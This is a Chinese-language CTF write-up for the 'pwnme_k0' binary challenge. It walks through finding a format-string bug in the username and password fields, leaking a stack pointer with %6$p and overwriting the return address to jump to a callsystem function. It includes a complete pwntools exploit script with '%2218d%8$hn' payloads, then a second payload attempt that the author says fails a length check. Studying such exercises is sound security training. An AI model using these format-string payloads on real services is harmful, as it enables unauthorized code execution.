题目:三个白帽 - pwnme_k0
检查代码保护:
可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。
运行代码:
猜想代码逻辑,和可能的漏洞。
发现存在有格式化漏洞,而且有两个点。用户名和密码, 用IDA直接分析这部分
IDA分析:
通过覆盖ret地址来执行shellcode, 首先远程服务器默认开启ALRS ,可以先泄露sub_400b07 ret 地址 , 然后再将其覆盖
同时发现了 callsystem函数
动态调试:
将断点打到显示密码观察栈区。栈顶指向的指针为调用函数的栈底,第二个为返回地址,如果我们控制到返回地址,就控制了程序的运行。再从IDA可知,打印的str也是已调用函数的栈底为准。所有我们需要泄露调用函数的栈底,使用格式化参数 %6$p (六个参数放入寄存器)。泄露以后算ret与栈底的偏移(0xf20-0xee8),覆盖地址,任务完成。
EXP:
from pwn import *
context.log_level="debug"
context.arch="amd64"
sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)
sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))
sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
sh.writeline("%2218d%8$hn")
sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()
题做出来了 ,按道理这道题应该是完了 ,前面说了这里有两个点 ,username 和passwd ,说如果只用一个能不能做出这道题呢(假设username是没有漏洞的)。
思路还是一样通过覆盖ret地址达到我们的效果。
开始分析:
- 如上我们有了ret_addr ,
- 找到passwd的地址
同样的断点,我们寄存器中找到passwd的栈地址,0x7fffffffdf04 ,与栈底df20 的偏移为0x1c,为了对齐八字节多输入4字节。
同样与IDA相符, - payload = flat( [ “A”*4,ret_addr, %2202d%11$hn] )
,,,,,,,炸了 调到2点发现忽略对字符串长度的检验 , 该方法不可行。。。。